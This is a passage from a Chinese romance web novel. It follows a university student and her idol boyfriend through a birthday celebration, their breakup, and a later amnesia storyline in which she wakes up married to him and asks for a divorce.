当然不是说剩下三个人不好的意思，只是拿一个女团定位来解释的话，她们俩像是大主舞，两个人各有各的风格，又很有默契。
段贞绫不敢说，她还特地给两个人跳舞时无意识的对视拍了个特写。
姜烟澜挺无所谓的，反正她来也是为了陪裴祉嫄，和段贞绫捧着手机欣赏了一遍，对自己很是满意。
裴祉嫄和裴珉雅沉默地坐着，除去舞蹈，她也不知道该怎么和她说话。
还好裴珉雅也没有要和她说话的意思，不过裴祉嫄觉得，她现在应该没那么讨厌自己了？
对她的讨厌从开学她就感受得到，只是她不明所以，也不敢去问。
排练好的活动结束后，最后是热闹的随舞环节，大家不用定队员，想上就上。
剩下三个人精力有限，没有都冲，偶尔遇到熟悉又简单的歌才会上。
裴祉嫄和裴珉雅不沟通，但是每次都能默契地率先冲在一队。
姜烟澜默默坐在原地观看，一时间心情有点复杂。
热闹的活动随着越来越黑的天色走到尾声，大家一起收拾整理好现场，然后意犹未尽地离开。
裴祉嫄现在有点能感同身受了，热闹过后突然的宁静，确实挺难熬的。
绥大路演一般是学生会和官方主办方共同联合举办，所以前三会有官方直拍，第一名还有上千元的奖金，裴祉嫄她们组遗憾地屈居第二，不过直拍数量远超别的小组。
因为这场活动，裴祉嫄她们在网络上小火了一把，裴祉嫄还接到了不少邀约，不过她还是一如既往地通通拒绝了。
裴祉嫄的直拍数据在一群人里一骑绝尘，甚至能赶上一些不怎么火的艺人，只是奇怪的是，她的直拍在之后就被删除了。
网上连个痕迹都找不到。
不过就算这样，裴祉嫄还是在学校里出名了。
对此裴祉嫄毫不关心，结束了活动以后就恢复了往日的三点一线，上完课就去泡图书馆，直到闭馆才回公寓楼。
日子过得很充实，以至于她已经遗忘了自己新鲜出炉的男朋友的存在。
另一头没什么存在感的裴珉承看着直拍默默按了保存键。
虽然他不是很赞同她的做法，担心她的身体无法承受，但不得不承认跳舞时的裴祉嫄很有鲜活的生命力。
比起怕她太耀眼，他希望她能更耀眼。
优秀的人，本来就不该被埋没。
她很年轻，他希望她的青春是精彩闪耀的。
25. 过去
今年裴珉承也一如既往地随着组合参加了年末，除了有年末solo舞台之外，也终于传来了他来年春即将solo的好消息。
裴祉嫄和裴珉承各自忙碌着，偶尔线上联系，直到年底学校放假，才有空见上一面。
裴祉嫄和姜烟澜她们一路出了校门，结果才走到门口，就看到了穿着大衣站在几步之遥之外的裴珉承。
“……”
本来打算给她庆生的，姜烟澜叹口气，拍拍还在发呆的裴祉嫄，“返校见哦。”
说完拉着段贞绫先走了。
身后隐约传来段贞绫的声音，不过她听得不是很真切，裴祉嫄踩着地面上厚厚一层的雪朝他走去。
大白天的出校门的人很多，虽然他已经做好了基本的遮面，但裴祉嫄已经听到有人在讨论他的名字了。
话都来不及说，她伸手拽住他的衣摆把他牵走了。
沉默着走到人少一点的地方裴祉嫄才松开手，然后问：“你怎么都不跟我说一声就来了，万一我不从这门出来呢？”
绥大有几个出入口，他敢直接来这算他胆子大。
“这不是从这里出来了吗。”
裴珉承不以为意，转身习惯性牵了她的手腕。
他们肢体接触不是一次两次了，因为裴祉嫄的眼睛问题很多时候见面他都会下意识先牵她，她好像也习惯了。
两个人并肩边走边说话，全然不知网上现在有多热闹。
起因是一位ID和头像都带着裴珉承名字元素的网友在网上上传了一张照片，照片里只有一男一女两个人的背影，男生穿着黑色大衣，女生则穿着蓝色外套和白色长裙。
并配文：隔得有点远，快告诉我这到底是不是裴珉承！
由此引发了一系列激烈的讨论。
有人认领了这张照片，并顺着照片扒出了裴珉承曾经出现在这所学校附近过。
于是关于裴珉承的神秘女友疑似绥大在读学生的消息不胫而走，也有自称绥大学生的网友加入猜测，在讨论越来越激烈时，这张照片连带着热搜话题都被撤了。
网友们转而又去讨论了一下女方的背景，这次就不敢光明正大了。
兜里的手机亮起又暗下去，裴祉嫄无暇顾及其他，全部的心思都放在了眼前这个人的身上。
握着她手腕的手下滑了几厘米，然后试探性地挠了挠她的手心，带来一阵轻微的痒意。
裴珉承的体温一直很低，手搭在她手腕上时总是像贴上了一块冰块，今天却莫名的升高了。
带着点温热的手指动了动，动作缓慢地缠住了她的十指。
裴祉嫄呆呆地眨了一下眼睛，感觉自己的脸都开始发烫。
但去看裴珉承时发现他一副面无表情的样子，那股从心脏里迸发出的灼热感又消退了一点。
两个人沉默着，默契地不看对方，就这样走到车停放的地方。
上了车后裴珉承打开了空调，车内很快就变得很暖和，在这样温暖的空间内裴祉嫄很快就困了。
等裴珉承注意到的时候，才发现她已经靠在椅背上睡了过去。
裴祉嫄睡觉倒是很安分的，不会东倒西歪，脖子微微往后仰着，披散在脑后的头发全都堆积在胸前，她的嘴张开了一条缝隙，隐约能窥见红润的舌尖。
裴珉承沉默着看了一会儿才小心翼翼地手动将其闭上，然后把座椅调平，还不忘给她盖上了一条毛茸茸的毯子。
裴祉嫄这一觉睡得很长，因为放假她熬了大半夜才睡，今天想到要出校也起得很早，等醒来发现自己躺着时愣了一下才出声：“我睡了很久吗？”
前排的裴珉承头也不回地回答：“不算久。”
裴祉嫄当然是不信的，不过她开窗看了一下窗外发现天还没黑时还是松了口气。
借助裴珉承的力从位置上爬起来，两人终于下了车。
裴祉嫄看着眼前略显眼熟的房子时反应了一下才想起来，这是她去年生日那晚曾留宿过一晚的地方。
她看了一眼不止脸，甚至连衣服都如出一辙的裴珉承想，不知道时间到底带走了他的什么，她甚至看着他都会幻视两个人初见的时候。
“不进去？”
裴珉承往前走了几步，发现她没跟上来又折返回去，然后看着依旧还在愣神的裴祉嫄叹了口气，伸手牵住了她的指尖。
正打算反驳的裴祉嫄：“……”
两个人牵着手进了屋，裴祉嫄才发现这个房子的风格虽然还是一如既往的不变，细节处却多了很多不太一样的地方。
比如说，茶几旁边堆放着的烟花。
还有一堆水果和牛奶面粉之类的东西。
她和裴珉承对视，心里产生了一个不可置信的想法。
和她的眼神对视上，裴珉承弯着眼睛笑了一下，“去年我没能及时送你生日礼物，今年我生日你送了我礼物，我不知道要送你什么，所以决定亲自做一个。”
对于他的厨艺她是没什么疑问的，只是不知道他什么时候还会做蛋糕，裴祉嫄眼睛都睁大了，措辞半晌说：“你怎么什么都会呀，好厉害！”
裴珉承也没有谦虚，大方承认了，会的东西不展示出来等于不会，对于裴祉嫄的夸夸他还是很受用的，心安理得地接下了。
裴祉嫄本来想进厨房围观一下过程，结果被裴珉承赶了出来，他洗了一盘子水果塞给她，略显敷衍地说：“出去玩。”
“……”
裴祉嫄端着水果盘走到客厅，冬天里暖气很足，她把外套丢到了沙发上，只穿一件针织长裙也不会冷。
由于太无聊，她吃了几颗草莓就拨通了姜烟澜的电话。
“你还有空找我说话呢？”
镜头里就姜烟澜一个人，裴祉嫄没有回答这个问题，而是先问道：“就你自己吗？”
“对啊，小段和她的朋友玩去啦。”
电话那头传来一阵窸窸窣窣的杂音，过了一会儿才传来姜烟澜有些蔫蔫的声音，“我一个人好无聊的。”
然后下一秒响起了震天响的吸东西的声音，电话两头的人同时沉默下来，半晌传来姜烟澜气急败坏的呼声：“郁渺！”
裴祉嫄“啊”了一声，“你们两在一块呢？”
“是啊是啊，前段时间你不是来找渺了吗？所以我也就来找她了呗。”
郁渺的声音在下一秒紧跟着传来：“羡慕吧，我们俩在喝奶茶。”
……听出来了。
三个人有一嘴没一嘴的聊着天，话题难免拐到了从出国后就很少出现的厉念身上。
“这个骗子，还说一定会出现呢。”
郁渺默了一秒，然后说：“放假的话你们要去找她玩吗？”
两个人想了想答应道：“好啊，放假了抽个时间找她玩去
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，就是不知道她有没有空和我们玩了。”
话题到此停了一下，郁渺过了会儿才说：“我们可以先问问她有什么安排，如果她没时间那我们三个一起玩也行。”
虽然想给她一个惊喜，但是她们也是担心突兀的去会给她带来的不是惊喜。
确定好后大家彼此交流了一下最近的生活，提到了前段时间的路演活动。
裴祉嫄还没在网上欣赏除段贞绫拍的直拍之外的视频，有关她的视频就都已经消失了，不过郁渺明显看过，化身夸夸小精灵各种输出。
裴祉嫄有些不好意思，郁渺的脑子里却突然闪出那天看到视频后她很高兴地和印梦她们俩分享的事。
她们看着看着突然感叹：“有钱人家的小孩就是好啊，什么都能学。”
实际上裴祉嫄根本不被允许跳舞，她只是因为热爱才会这么做的。
郁渺后知后觉两人心里可能不太舒服，她怕被误会是在炫耀，连忙和两人摊开聊了一下。
家世从来只是附加，就算没有好的家世，裴祉嫄也不会是一个普通的小孩。
最后大概是说开了吧，印梦她们和她聊了一下自己的想法，大概是她敏感，总觉得她们羡慕的同时又难免有点偏见。
比如，如果是她们有条件的话，也能够大放异彩。
不过明面上她们并没有说什么，可能只是她以小人之心度君子之腹，但是总之，那天过后她就不再她们面前提起裴祉嫄了。
郁渺沉默的时间有点长，裴祉嫄问道：“怎么了吗？”
“没有，”郁渺收回思绪，说：“我永远觉得你很好。”
裴祉嫄有点莫名其妙，不过还是点点头，回答道：“我很好，你也不差呀，我觉得只要付出努力，我们就都是很好的人。”
对她的端水行为电话另一头的两人同时笑了一下，不管外面的人怎么评价她们，为这些看似轻松得来的荣耀付出的努力她们彼此知道就好了。
因为两人还要逛街，裴祉嫄没有再打扰她们，挂断电话后又在原地坐了一会儿，无聊地看了一会儿视频后还是起身走向了厨房。
裴珉承在家也没有穿外套，黑色高领毛衣勾勒出他完美的身材，裴祉嫄靠在门边上下扫视了一眼，最后又回到了他右耳上细长的银色耳链上。
不知道从什么时候起，他的头发不再发生变化，两个人交换了一下，变成了她见一次变一次的头发颜色。
可是不得不说，最纯粹的黑色也变得很吸睛，五颜六色的发色时期会显得他疏离感和攻击力更强，黑发就显得很乖顺，莫名的有种清纯感。
如果他混到大学里，应该也不会显得很突兀。
思恋是件很神奇的事，她忙着学习的时候脑子里只有各种作业和考试，连看他的消息都是敷衍了事，好像根本不会想起他。
现下人就在她眼前，想念却突然冒出了头。
身后的视线让人无法忽略，裴珉承动作麻木地做着事，安静的房间内响起了一道不轻不重的脚步声。
他知道她在向他走来。
但他没有回头，只是机械性地重复着同一个动作。
直到一道温热的身躯从身后贴上来，他低头，看到一截雪白的袖子和轻轻搭在他腰腹上的手指。
时间好像就此被按下了暂停键，窗外不知道什么时候飘起了雪花，屋内的两个人没有任何动作。
26. 过去 完
清醒过来意识到自己做了什么的裴祉嫄着急忙慌地转身离开了厨房，留下一个僵硬的裴珉承。
两个人隔着一扇半透明的门，各自缓和着不正常的心跳。
裴祉嫄刚才睡太久，醒来时就已经下午了，裴珉承一番忙碌后天色已经暗了下来。
两个人没有先吃饭，而是准备先过生日。
裴珉承说自己是第一次尝试做，蛋糕长得确实不好看，奶油都没抹均匀，和蛋糕店里精致的商品完全不能比。
但是裴祉嫄内心是很高兴的，她吃过很多次蛋糕，但是从没在生日当天吃过，她的生日基本就是和大家出去吃个饭就完事了，爸妈每年都事后给她补钱。
在生日当天吃的蛋糕和平常吃的还是有着不一样的含义，更何况这可是裴珉承亲手做的。
“谢谢。”
裴祉嫄没有愿望，但还是按照流程闭上眼装作许愿的样子，几秒钟后吹灭了插在蛋糕上的蜡烛。
屋内没有开灯，蜡烛的光熄灭后房子里陷入一片灰暗里，眼前人的面容都在瞬间变得有些模糊，下一秒裴祉嫄听到他说：“恭喜你进入2开头的年纪了。”
“生日快乐，裴祉嫄。”
因为只有两个人，裴珉承做的蛋糕尺寸也不大，裴祉嫄切了一块带草莓的递给他，又给自己随意切了一块奶油多的。
两个人沉默地吃着。
耳边响起裴珉承的叹气声，然后下一秒，他修长的手指伸了过来贴到了她的脸上。
屋内暖气很足，连带着他的指尖都是温热的，他的语气有点无奈：“你不要哭好不好。”
裴祉嫄看到他指腹上的水渍时才后知后觉自己的脸上一片冰凉，她抬手擦掉即将掉落的眼泪，把手上摇摇欲坠的盘子放到桌上，凑过去贴近了裴珉承。
她也说不清为什么要这么做，可能是不想他看到她掉眼泪的模样，也可能只是单存的想要寻找一个安慰。
裴珉承没说话，只是伸出一只手轻轻虚搭在她的肩膀上。
安静的屋内只有偶尔因压抑不住才会泄出一两分声音的抽泣声，裴祉嫄发誓不要再像个小朋友一样还哭，但是无论心里怎么想的，面上她的眼泪就是止不住。
她不知道为什么突然觉得好委屈，实在是难以自控。
裴珉承没说话，只在她抽泣得喘不上气的时候伸手帮她顺了顺。
裴祉嫄哭的时候都是很压抑情绪的沉默掉泪，如果不是胸口处的湿润，他可能不会知道她眼泪能那么多。
让人感觉很心疼。
他大概知道她为什么哭，她真的是个很可怜的小孩。
裴珉承也不知道，她的父母爱工作为什么永远比爱她多。
裴祉嫄很快就调整好了情绪，抬头时发现他的衣服被自己的眼泪打湿了一小块，睁着双有些红肿的眼睛看他：“……对不起。”
裴珉承伸手理了理她乱糟糟的头发，问：“蛋糕还吃吗？”
“……嗯。”
虽然看起来不怎么样，吃起来是真好吃，奶油好吃，蛋糕胚也很松软，不要钱的水果更是她爱吃的，而且她今天都没吃饭，快饿死了。
“蛋糕不要全吃完。”
裴珉承提醒了一句，就起身去房间换衣服了。
裴祉嫄在他一离开就端起盘子吃蛋糕，根本不把他的话当回事，这蛋糕要是放久了可就很难吃了。
所以等裴珉承回来时，就看到了空空如也的盘子，“……家里进老鼠了？”
裴祉嫄不太好意思地捂着肚子，“我饿了。”
“……”
当然现在看起来是不饿了。
晚饭被推到晚上，两个人到阳台上坐着消食。
阳台角落处有一个可当床使用的沙发，旁边还挂着一个秋千吊椅，裴祉嫄坐上吊椅，看着外面的风景。
雪早已停下，云层之后露出了太阳的影子，冬季的阳光除了能显得天气不错之外基本没用，该冷还是冷，裴祉嫄盖着裴珉承搭到她身上的毯子在吊椅上晃动，目光专注地看着落日。
今天天气是真的好，粉红色的云聚集在天边，很美。
“咔嚓”一声，裴祉嫄收回目光，看到了正手忙脚乱关上手机的裴珉承。
她笑了一下，没有问他拍了什么，只是问他：“难得天气这么好，要一直拍张照吗？”
于是两个人在落日美景里留下了认识以来的第一张合照。
裴珉承打印了两份，给了她其中一张。
裴祉嫄小心收好，在她收集的一堆看起来像垃圾的东西中，这是她独一无二的回忆。
晚上时两个人放了一场盛大的烟花秀，黑夜被映照成白昼，他们拍了很多视频和照片留作纪念。
晚饭变成夜宵，看着时间从23：59跳到00：00的时候，两个人默契地扭头对视，跟对方说了一声：“新年快乐。”
上一次的生日他没有给她过，也没有和她一起等待新的一年到来，上一次这个时候，他们还只是很普通的朋友。
这时的裴祉嫄以为这会是一个好的开始。
后来的发展却像是童话世界继续写下去后不尽人意的后续。
是没有人愿意看的，普通而平常的日常。
假期她们没有见到厉念，她忙着四处跑，根本没空见她们，三个人玩了一圈后各自回了家。
开学后的生活变得忙碌，裴祉嫄一开始并没有发觉什么不对的地方，毕竟她一直觉得过好自己的生活才是最重要的。
直到在她询问她拜托他帮的忙却始终无果后，直到定好的行程一次一次被推迟甚至被遗忘，直到裴珉承开始变成事后用钱去弥补她的样子。
裴珉承变成了和她父母一样的人。
当初愿意陪着她做很多事的人好像消失在时间的洪流里。
裴祉嫄感觉骨头都被寒意侵蚀。
于是在又一次的生日到来前，她和姜烟澜一起提交了交换生申请。
也许换个地方生活才会好一点。
离开的前一个星期，郁渺前来找她们聚餐了。
“你们俩千万不要像念念一样消失啊。”
姜烟澜觉得好笑：“傻啊你，我们只去一年呀，明年就回来了。再说，现在交通那么方便，你来或者我们来都可以的。”
两个人交谈了一阵才发现裴祉嫄始终一言不发，他们的感情一如姜烟澜所想，并没有什么好结局，作为离她最近的人，她知道她这一年多有多不好。
所以才
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会提议去国外做交换生的。
快要步入大三的裴祉嫄已经成长了不少，至少从她的一些穿搭上能看出来她的变化，五彩斑斓的可爱风转变成了五彩斑斓的优雅风，可能是和裴珉承相处多了的缘故，偶尔身上会透露出生人勿近的冷漠感。
听见她们叫她，裴祉嫄才从乱七八糟的思绪里回过神来，“怎么了？”
“你和他，要怎么办啊？”
姜烟澜现在已经不叫他的名字了，都只用人称代词喊他，裴祉嫄自然听出来她话里的意思了，她抿了抿涂抹着红色口红的红唇，冷着脸吐出了两个字：“腻了。”
两人都是一愣，没想到她会这么说，她们本来想过最严重的也就是冷战了。
看着面若冰霜的裴祉嫄，两个人都不敢开口问，气氛冷下来，两个人疯狂眼神交流，看着她摒弃了爱喝的甜甜的奶茶，习以为常地喝了一口咖啡。
各自忙碌的人没有注意到在门口一闪而过的身影。
三个人本来要去散心，裴祉嫄却突然收到了一条短信。
Hfueiwndni：我们，见一面吧。
她看着上一次聊天时冷冰冰的转账记录，好不容易好一点的心情又降到谷底。
“我先走了，要处理一些私事。”
尽管她没明着说，两个人也都听出了她的言下之意。
裴祉嫄向来想做什么做什么，一如当年一样的果断。
“好，晚点见。”
这句话裴祉嫄没听见，人已经出门打车去了。
时隔多年，心跳再次加快几分。
她知道再过不久它就会变得很疼。
裴祉嫄站在熟悉又陌生的大门前，伸手整理好了自己的衣服和头发，缓了一下呼吸后，没有用密码打开门，而是在门口打了裴珉承的电话。
片刻之后，裴祉嫄和站在门后的裴珉承对视，她不知道自己的脸色是不是很不好，也不记得自己的声音有没有发抖，总之这次她很快撤回了目光，只丢下生硬的一句话。
“我们。”
裴珉承很喜欢听她用“我们”来形容他们俩，有一种独特的亲密感，这是第一次，他不想听到她说话。
掩在门后的一只手掐住了大腿，他冷静地站在原地，等待着最后的审判。
“到此为止吧。”
时间再次暂停，连风声都停止了，裴祉嫄维持着表面的平静，清晰地听到他回了一个字：“好。”
意料之中的答案，在三年的相处里她早知道了他的冷漠。
她现在懂了，他对她的好可怜居多。
他喜欢自己吗？
可能有一点吧，但这一点点微不足道的喜欢远远比不上他珍贵的事业。
裴祉嫄转身就离开，没有任何留恋。
目视着她的身影远到变成一个小点直到再也看不见时，手机里传来一条消息。
YuAn：祝你专辑大卖，永远对音乐保持热忱之心。
等他看着手机愣神很久才想起来回复时，已经二度进了她的黑名单。
这次，大概没有再出来的机会了。
裴珉承关上了门。
走到路口的裴祉嫄收起手机蹲下来，久违地掉了一滴眼泪。
27. 未来
再次睁眼时已经天光大亮，裴祉嫄睁着眼睛愣愣地看着洁白的天花板，任由眼泪夺眶而出，打湿了耳朵和头发。
一只手伸过来覆在她脸上，把她脸上尚处在温热中的眼泪擦掉，于是裴祉嫄看到了带着担忧的眼睛看过来，问她：“又做噩梦了吗？”
她也不知道是噩梦还是美梦了。
掩藏在被子底下的手抓住床单，裴祉嫄和一无所知耐心等待着她回复的裴珉承对视，然后深吸一口气，艰难地开口：“我们……”
离婚吧。
“哥？”
话还没说完，突兀的敲门声在安静的空间响起，裴珉承示意她自己先去开门。
他站在门口和来人交谈，距离有点远，裴祉嫄不知道是谁。
但心跳却在刹那间加速跳动起来。
等她穿戴好下楼时才发现楼下堪称热闹非凡，精神抖擞的老人们聚在一块交谈，大人们更是聊得很愉快，当然，她自己也是个大人了，只是，还是不习惯。
有个和她年纪相差不大的男人惊慌失措地抱着一个两岁左右，正在哇哇大哭的小女孩。
在一众人里，裴祉嫄一眼就看到了独立于人群之外的裴珉雅，她靠坐在单独的沙发上正在低头玩手机，看不清表情，只有头发始终只留到了肩膀处的长度。
虽然对她的身份心里早有猜测，但是看到她出现在这里时还是忍不住脚下一顿，裴祉嫄站在楼梯上一动不动，好像下面有什么令人害怕的东西。
裴珉承以为她是想不起来这些人是谁，从她身后牵起她的手，“别怕。”
裴祉嫄想挣脱时楼下对着一个两岁大的小孩一个头两个大的男人眼尖地看到站在楼梯上的她，腾出一只手挥手道：“你终于起床啦！”
声音太大，一大家子人的眼睛都看了过来，就连始终不搭理人的裴珉雅也抬头看向了她。
隔着人群，裴祉嫄和她对视上的那一眼，脸上的热意瞬间降下来，她应该没有感觉错，裴珉雅还是一样的不喜欢她。
甚至，裴祉嫄不知道是不是自己太过敏感了，她觉得裴珉雅的眼神很冷，不是单纯的不喜欢，而是更深一层的恨意。
可是她到底哪里得罪她了呢？
这个问题从大一开始她就在想，后来她出国交换回来后她已经毕业了，两个人实打实的相处只有大一大二那两年，这个问题被她抛到了脑后，现在因为莫名其妙的失忆，这个问题又回来了。
裴祉嫄叹口气，率先移开了视线。
众人调侃了一句两人睡到日上三竿，倒也没人生气，随后就把话题放回了刚才在说的。
裴祉嫄和长辈们打完招呼就挪到了别的位置，她算是知道为什么裴珉雅为什么跑那么远了。
大人们话题太密，根本插不进去一点不说，还听不懂。
裴祉嫄走到害她想偷偷下楼的计划失败的男人面前，愣了一下才想起来是谁：“崔扬夏？”
“叫哥。”
裴祉嫄翻了个白眼没理他，指着他怀里的小孩问：“你生的？”
“？”
崔扬夏冷笑一声反问：“我生得出来？”
然后下一秒小孩的哭声再次响起，崔扬夏瞬间变了脸，把孩子往她怀里塞：“给你。”
裴祉嫄还说什么，就听他说：“这可你侄女，你抱着吧。”
“……”
裴祉嫄像接一个烫手山芋一样姿势不熟练地抱着她，神奇的是原先哭闹个不停的小孩转移到她怀里后就安静了下来，崔扬夏不信邪，玩一样的把小孩来回抱，看她时哭时停的无语得笑了一下。
“看吧，小孩认人。”
“……”裴祉嫄仰头和他对视，深表无语。
裴珉承陪她下楼后就不知道去哪里了，裴祉嫄也松了口气，如果他一直跟着她，那她真是不用呼吸了。
从崔扬夏口里她得知了手里这个小孩的名字，她叫岑晞蓝，小名可可，是她表哥家的孩子。
裴祉嫄和家里的亲戚来往都不是很密切，只和同年的崔扬夏稍微熟悉一点，不过崔扬夏不住在绥川，两个人也不是经常见面。
她在脑子里整理了好一会儿错综复杂的人物关系，一边从崔扬夏口中套话，把在场所有人的身份一一对应后就把他赶走了。
可可在自己怀里睡着后裴祉嫄把她放在了一旁的沙发上，冬天家里有暖气一点都不冷，但她还是给可可盖上了毯子，然后一抬头，和握着手机的裴珉雅对视上。
只是还没来得及说话，裴珉雅瞪了她一眼后就转过身去，一副不想多看她一眼的样子。
裴祉嫄只好靠在沙发上四处打量，爸妈从公司退休后把年纪已经很大了的爷爷奶奶接到了一块住，为此购入了一套足够大的别墅，现在别墅还是那个别墅，人也还是那些人，能带给她的归属感却消失了。
她们都在各做各的事，好像很真实的日常生活。
可她觉得自己像是一个局外人，一个观看电影的观众。
一觉醒来自己就结婚了，她连未来都没有规划好，也不知道现在的自己做的是什么工作。
总不能是家庭主妇吧？
裴祉嫄胡思乱想了一通，想到最后还是觉得这个婚既然迟早要离，那不如早点离好了，只是人那么多，她不想在大好的春节让大家看热闹，还是私下找他聊吧。
消失了一段时间的裴珉承突然出现，手上端着一盘拌好的番茄牛腩拌饭，诱人的香气在鼻尖萦绕，裴祉嫄感觉自己的肚子都被勾得响了一声，还好人多，应该没人听得到。
“谢谢。”
从裴珉承手里接过碗，她也没有换位置，拿起勺子舀了一大口塞进了嘴里。
裴珉承没有走，在她身旁坐下了。
不仅如此，他还非常光明正大地侧头看向她，眼神灼热到让她有种想逃跑的想法。
裴祉嫄不太自然地避开他的目光，吃饭的动作都慢了几分。
饭很好吃，只是他一直看着她让她有点难以下咽了，但她没敢说，她还记得裴珉承不太正常，尽管在她记忆里是两年多以前。
但谁知道他现在有没有恢复正常的呢？
裴祉嫄可不想给自己找麻烦。
艰难地吃完饭后裴祉嫄想借着去放餐盘的时间逃离他，但裴珉承率先从她手里接过了餐盘，“我去放吧，你休息。”
谁离
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开都一样，反正只要不在一处就好，裴祉嫄没和他争，目送他离开后不安地在原地却又犹豫了。
可可还在睡觉，没有人看着万一摔下去怎么办呢？
可是透过人群，她看到裴珉承已经转身走出来了，裴祉嫄内心犹疑着没动，直到裴珉雅走到她身边。
“我看着她。”
裴珉雅看都没看她坐在了一边，裴祉嫄愣了一下，没有再去想她为什么突然帮她，留下一句“谢谢”就匆匆忙忙从侧门逃去了后花园。
在她离开几秒后，裴珉承走了过来，看到只剩下裴珉雅时愣了一下，“她呢？”
“……”裴珉雅没说话，伸手指了一下她刚刚离开的小门。
在裴珉承即将离开时听到身后传来裴珉雅喊了一声“哥”。
“怎么了？”
裴珉承停下，转身看向她。
“我也看得到她，不止我，我们所有人都看得到。”
说完莫名其妙的一句话后她就转头玩手机去了，不管他是什么神情，裴珉承在原地站了一会儿，吐出一句“我知道”，然后转身离开了。
室内的裴珉雅看着什么也没有的主页叹了口气，然后抬头看向已经看不见人影的小门。
房子很大，其他处都是热热闹闹的交谈声，这边不大的动静几乎引不起任何人的注意力，只有看似专心打游戏的崔扬夏看过来，和裴珉雅遥遥对视一眼，而后默契地移开目光。
绥川的二月初依旧很冷，好在室外积雪已经没剩多少，甚至还出了太阳，只是温度也没有变高，裴祉嫄只穿着一件毛衣，一出来就被冷得打了个哆嗦。
她去到了温室花房，花房里有各种颜色和她叫不出名字的花，争奇斗艳，花团锦簇，外面是寒冬，里面却是春天。
这里很安静，裴祉嫄躺到沙发上，心里忍不住生出些懊恼，她也不知道自己为什么要跑，显得没气势，但现在回去，就更没气势，于是只能躺在连条毯子都没有的沙发上。
现在唯一庆幸的是还好并不算冷。
不过她的独处时光并没有享受很久，意料之内的人很快出现在视角里面。
裴祉嫄看着裴珉承走进来，没有再试图跑路，只是翻了个身，背对着他。
眼睛看不到听觉就会更灵敏，她听得到他在她身前停下，然后蹲在她的身边，温热的呼吸近距离打在她的后脖颈处，她难以承受地生出一股痒意。
然后转过了身。
印象里两个人好像没有这么近距离接触过，裴祉嫄被吓了一跳，屏住呼吸往后挪了一下，“你干嘛呀？”
裴珉承根本没有放过她的意思，见她往后缩毫不犹豫地缠了上来，“我哪里做得不好你可以告诉我，不要让我一个人猜了。”
他的声音和表情都很委屈，裴祉嫄实在不习惯这样的他，但是也知道眼前的人很无辜，她犹豫了一下，现在这个时间和场景，很适合说话。
最后她说：“你没有哪里不好，是我，我的问题。”
“我们，”时隔五年，裴祉嫄再次提及这个对彼此都不算好的词，她终究是没有勇气看他，最后低下头，小声但是毫不犹豫地说：“离婚吧。”